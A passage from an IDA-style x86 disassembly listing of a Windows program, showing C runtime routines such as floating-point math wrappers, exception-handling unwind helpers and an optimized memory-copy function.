		retn
sub_417C3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417CA4(double)

sub_417CA4	proc near		; CODE XREF: sub_403FE6+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_439560
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417D2A
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417D0D
		cmp	eax, 2
		jle	short loc_417CFF
		cmp	eax, 3
		jnz	short loc_417D0D
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417CFF:				; CODE XREF: sub_417CA4+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417D0D:				; CODE XREF: sub_417CA4+3Aj
					; sub_417CA4+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_417D67
; ---------------------------------------------------------------------------

loc_417D2A:				; CODE XREF: sub_417CA4+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417D4D

loc_417D3F:				; CODE XREF: sub_417CA4+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417D4D:				; CODE XREF: sub_417CA4+99j
		test	bl, 20h
		jnz	short loc_417D3F
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_417D67:				; CODE XREF: sub_417CA4+84j
		call	sub_41BFA8
		add	esp, 1Ch

loc_417D6F:				; CODE XREF: sub_417CA4+59j
					; sub_417CA4+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D73	proc near		; CODE XREF: sub_419AB8+9p
					; sub_41C846+21p
					; DATA XREF: ...
		call	sub_417D8B
		call	sub_41C846
		mov	ds:dword_489FF4, eax
		call	sub_41C7F6
		fnclex
		retn
sub_417D73	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_417D8B	proc near		; CODE XREF: sub_417D73p
		mov	eax, offset sub_41CC34
		mov	ds:off_43B904, offset sub_41C8C9
		mov	ds:off_43B900, eax
		mov	ds:off_43B908, offset sub_41C92F
		mov	ds:off_43B90C, offset sub_41C86F
		mov	ds:off_43B910, offset sub_41C917
		mov	ds:off_43B914, eax
		retn
sub_417D8B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DC4	proc near		; CODE XREF: sub_403FE6+1Bp
					; sub_403FE6+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_417DC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417DEB(double)

sub_417DEB	proc near		; CODE XREF: sub_404032+82p
					; sub_40494F+3A1p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_439578
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417E71
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417E54
		cmp	eax, 2
		jle	short loc_417E46
		cmp	eax, 3
		jnz	short loc_417E54
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E46:				; CODE XREF: sub_417DEB+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E54:				; CODE XREF: sub_417DEB+3Aj
					; sub_417DEB+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_417EAE
; ---------------------------------------------------------------------------

loc_417E71:				; CODE XREF: sub_417DEB+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417E94

loc_417E86:				; CODE XREF: sub_417DEB+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E94:				; CODE XREF: sub_417DEB+99j
		test	bl, 20h
		jnz	short loc_417E86
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_417EAE:				; CODE XREF: sub_417DEB+84j
		call	sub_41BFA8
		add	esp, 1Ch

loc_417EB6:				; CODE XREF: sub_417DEB+59j
					; sub_417DEB+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417DEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EBA	proc near		; CODE XREF: sub_41D0A5+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_417EBA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_417EEE	proc near		; CODE XREF: sub_41D256+199p
					; sub_41D41A+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EEE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417EF5	proc near		; CODE XREF: sub_41D256+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EF5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EFC	proc near		; CODE XREF: sub_4180AE+5Cp
					; sub_41D0A5:loc_41D0D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_417F24
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_422A4C	; RtlUnwind

loc_417F24:				; DATA XREF: sub_417EFC+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_417EFC	endp

; ---------------------------------------------------------------------------

loc_417F4B:				; CODE XREF: _0:004230ECj _0:00423109j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41CCAA
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F81	proc near		; CODE XREF: sub_41D120+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_417FD5
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41D4B0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_417F81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FD5	proc near		; DATA XREF: sub_417F81+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		pop	ebp
		retn
sub_417FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FFA	proc near		; CODE XREF: sub_41CEEC+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4180AE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_418080
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_48A098
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_418080:				; DATA XREF: sub_417FFA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41809D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4180A6
; ---------------------------------------------------------------------------

loc_41809D:				; CODE XREF: sub_417FFA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_4180A6:				; CODE XREF: sub_417FFA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180AE	proc near		; DATA XREF: sub_417FFA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4180D1
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41811E
; ---------------------------------------------------------------------------

loc_4180D1:				; CODE XREF: sub_4180AE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41810F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_417EFC

loc_41810F:				; CODE XREF: sub_4180AE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41811E:				; CODE XREF: sub_4180AE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4180AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418123	proc near		; CODE XREF: sub_41CD45+C6p
					; sub_41CEEC+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41817A

loc_418141:				; CODE XREF: sub_418123+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41814B
		call	sub_41D552

loc_41814B:				; CODE XREF: sub_418123+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_418160
		cmp	ecx, [eax+8]
		jle	short loc_418165

loc_418160:				; CODE XREF: sub_418123+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_418171

loc_418165:				; CODE XREF: sub_418123+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_418171:				; CODE XREF: sub_418123+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_418141
		mov	eax, [ebp+var_4]

loc_41817A:				; CODE XREF: sub_418123+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41818E
		cmp	esi, eax
		jbe	short loc_418193

loc_41818E:				; CODE XREF: sub_418123+65j
		call	sub_41D552

loc_418193:				; CODE XREF: sub_418123+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_418123	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4181A0	proc near		; CODE XREF: sub_41F774+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4181B8
		push	[ebp+arg_0]
		call	sub_422A4C	; RtlUnwind

loc_4181B8:				; DATA XREF: sub_4181A0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4181A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181C0	proc near		; DATA XREF: sub_4181E2+Ao
					; sub_41824A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4181E1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4181E1:				; CODE XREF: sub_4181C0+10j
		retn
sub_4181C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181E2	proc near		; CODE XREF: sub_41D1C6+Dp
					; sub_41F774+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4181C0
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_4181FF:				; CODE XREF: sub_4181E2:loc_41823Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41823C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41823C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41823A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_418276
		call	dword ptr [ebx+esi*4+8]

loc_41823A:				; CODE XREF: sub_4181E2+44j
		jmp	short loc_4181FF
; ---------------------------------------------------------------------------

loc_41823C:				; CODE XREF: sub_4181E2+2Aj
					; sub_4181E2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4181E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41824A	proc near		; CODE XREF: sub_41D1E6+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4181C0
		jnz	short locret_41826C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41826C
		mov	eax, 1

locret_41826C:				; CODE XREF: sub_41824A+10j
					; sub_41824A+1Bj
		retn
sub_41824A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41826D	proc near		; CODE XREF: sub_41D4B0+1Ep
					; sub_41D4B0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43957C
		jmp	short loc_418280
sub_41826D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418276	proc near		; CODE XREF: sub_4181E2+4Fp
					; sub_41F774+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43957C
		mov	ecx, [ebp+8]

loc_418280:				; CODE XREF: sub_41826D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_418276	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_404032+5p
					; sub_4041D4+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_418290	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4182AF	proc near		; CODE XREF: sub_404667+26p
					; _0:004227E2p	...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417C3B
		pop	ecx
		retn
sub_4182AF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182C0	proc near		; CODE XREF: sub_4046D8+3Ap
					; sub_41ADB4+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4182E0
		cmp	edi, eax
		jb	loc_418458

loc_4182E0:				; CODE XREF: sub_4182C0+16j
		test	edi, 3
		jnz	short loc_4182FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------

loc_4182FC:				; CODE XREF: sub_4182C0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_418314
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41831C+4[eax*4]
; ---------------------------------------------------------------------------

loc_418314:				; CODE XREF: sub_4182C0+46j
		jmp	dword ptr loc_418418[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41831C:				; CODE XREF: sub_4182C0+31j
					; sub_4182C0+8Ej ...
		jmp	off_41839C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41832C+4
		dd offset loc_41835C
; ---------------------------------------------------------------------------

loc_41832C:				; DATA XREF: sub_4182C0+64o
		add	byte ptr [ebx-2EDCFFBFh], 8Ah
		push	es
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41835C:				; DATA XREF: sub_4182C0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41839C	dd offset loc_4183FF	; DATA XREF: sub_4182C0:loc_41831Cr
		dd offset loc_4183EC
		dd offset loc_4183E4
		dd offset loc_4183DC
		dd offset loc_4183D4
		dd offset loc_4183CC
		dd offset loc_4183C4
		dd offset loc_4183BC
; ---------------------------------------------------------------------------

loc_4183BC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_4183C4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_4183CC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4183D4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4183DC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4183E4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4183EC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4183FF:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0:off_41839Co
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_418408	dd offset loc_418418	; DATA XREF: sub_4182C0+35r
					; sub_4182C0+92r ...
		dd offset loc_418420
		dd offset loc_41842C
		dd offset loc_418440
; ---------------------------------------------------------------------------

loc_418418:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_418420:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41842C:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_418440:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_418458:				; CODE XREF: sub_4182C0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41848C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_418480:				; CODE XREF: sub_4182C0+1B1j
					; sub_4182C0+208j ...
		neg	ecx
		jmp	off_418550[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41848C:				; CODE XREF: sub_4182C0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4184A4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4184A4+4[eax*4]
; ---------------------------------------------------------------------------

loc_4184A4:				; CODE XREF: sub_4182C0+1D6j
					; DATA XREF: sub_4182C0+1DDr
		jmp	off_4185A0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4184B7+1
; ---------------------------------------------------------------------------
		fadd	dword ptr [ecx+eax*2+41850000h]

loc_4184B7:				; DATA XREF: sub_4182C0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_418480
		std
		rep movsd
		cld
		jmp	off_4185A0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
